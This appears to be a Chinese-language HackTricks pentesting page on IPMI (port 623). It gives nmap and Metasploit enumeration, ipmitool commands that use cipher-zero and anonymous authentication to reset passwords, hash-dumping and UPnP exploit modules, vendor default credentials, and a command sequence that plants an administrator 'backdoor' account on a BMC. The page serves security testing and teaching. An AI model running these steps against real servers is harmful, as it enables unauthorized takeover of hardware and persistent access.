623/UDP/TCP - IPMI

623/UDP/TCP - IPMI

学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

基本信息

IPMI 概述

智能平台管理接口 (IPMI) 提供了一种标准化的方法,用于远程管理和监控计算机系统,独立于操作系统或电源状态。该技术允许系统管理员远程管理系统,即使在系统关闭或无响应时,特别适用于:

  • 操作系统启动前的配置

  • 关机管理

  • 从系统故障中恢复

IPMI 能够监控温度、电压、风扇速度和电源,同时提供库存信息、查看硬件日志,并通过 SNMP 发送警报。其操作所需的基本条件是电源和局域网连接。

自 1998 年英特尔推出以来,IPMI 得到了众多厂商的支持,增强了远程管理能力,特别是 2.0 版本对串行局域网的支持。关键组件包括:

  • 主板管理控制器 (BMC): IPMI 操作的主要微控制器。

  • 通信总线和接口: 用于内部和外部通信,包括 ICMB、IPMB 和各种本地及网络连接接口。

  • IPMI 内存: 用于存储日志和数据。

默认端口:623/UDP/TCP(通常在 UDP 上,但也可能在 TCP 上运行)

枚举

发现

nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

您可以识别版本使用:

use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

IPMI 漏洞

在 IPMI 2.0 的领域中,Dan Farmer 发现了一个重大的安全缺陷,通过 cipher type 0 暴露了一个漏洞。这个漏洞在 Dan Farmer 的研究 中有详细记录,允许在目标有效用户的情况下,使用任何密码进行未经授权的访问。这个弱点在 HP、Dell 和 Supermicro 等制造商的各种 BMC 中被发现,表明所有 IPMI 2.0 实现中存在广泛的问题。

通过 Cipher 0 绕过 IPMI 认证

要检测这个缺陷,可以使用以下 Metasploit 辅助扫描器:

use auxiliary/scanner/ipmi/ipmi_cipher_zero

利用这个漏洞可以使用 ipmitool 来实现,如下所示,允许列出和修改用户密码:

apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password

IPMI 2.0 RAKP 认证远程密码哈希检索

此漏洞允许检索任何现有用户名的加盐哈希密码(MD5 和 SHA1)。要测试此漏洞,Metasploit 提供了一个模块:

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

IPMI 匿名认证

许多 BMC 的默认配置允许“匿名”访问,其特征是空用户名和密码字符串。此配置可以被利用来重置使用 ipmitool 的命名用户帐户的密码:

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword

Supermicro IPMI 明文密码

IPMI 2.0 中的一个关键设计选择要求在 BMC 中存储明文密码以进行身份验证。Supermicro 将这些密码存储在 /nv/PSBlock/nv/PSStore 等位置引发了重大安全隐患:

cat /nv/PSBlock

Supermicro IPMI UPnP 漏洞

Supermicro 在其 IPMI 固件中包含的 UPnP SSDP 监听器,特别是在 UDP 端口 1900 上,引入了严重的安全风险。根据 Rapid7 的披露 的详细信息,Intel SDK for UPnP Devices 版本 1.3.1 中的漏洞允许对 BMC 进行根访问:

msf> use exploit/multi/upnp/libupnp_ssdp_overflow

暴力破解

HP 在制造过程中随机生成其 集成灯光控制 (iLO) 产品的默认密码。这一做法与其他制造商形成对比,后者往往使用静态默认凭据。以下是各种产品的默认用户名和密码的总结:

  • HP 集成灯光控制 (iLO) 使用工厂随机生成的 8 个字符字符串作为其默认密码,展示了更高的安全级别。

  • 戴尔的 iDRAC、IBM 的 IMM富士通的集成远程管理控制器等产品使用易于猜测的密码,如“calvin”、“PASSW0RD”(带零)和“admin”。

  • 同样,Supermicro IPMI (2.0)、Oracle/Sun ILOM华硕 iKVM BMC也使用简单的默认凭据,其中“ADMIN”、“changeme”和“admin”作为它们的密码。

通过 BMC 访问主机

对基板管理控制器 (BMC) 的管理访问打开了访问主机操作系统的各种途径。一种简单的方法是利用 BMC 的键盘、视频、鼠标 (KVM) 功能。这可以通过重启主机到根 shell(使用 init=/bin/sh)或从设置为救援磁盘的虚拟 CD-ROM 启动来实现。这些方法允许直接操作主机的磁盘,包括插入后门、数据提取或进行安全评估所需的任何操作。然而,这需要重启主机,这是一个显著的缺点。在不重启的情况下,访问正在运行的主机更为复杂,并且因主机的配置而异。如果主机的物理或串行控制台保持登录状态,可以通过 BMC 的 KVM 或串行通过 LAN (sol) 功能轻松接管,使用 ipmitool。探索共享硬件资源的利用,如 i2c 总线和超级 I/O 芯片,是一个需要进一步研究的领域。

从主机向 BMC 引入后门

在攻陷一台配备 BMC 的主机后,可以利用本地 BMC 接口插入后门用户账户,在服务器上创建持久存在。这一攻击需要在被攻陷的主机上存在**ipmitool**并激活 BMC 驱动程序支持。以下命令说明了如何使用主机的本地接口将新用户账户注入 BMC,从而绕过身份验证的需要。这一技术适用于包括 Linux、Windows、BSD 甚至 DOS 在内的广泛操作系统。

ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • port:623

References

学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

Last updated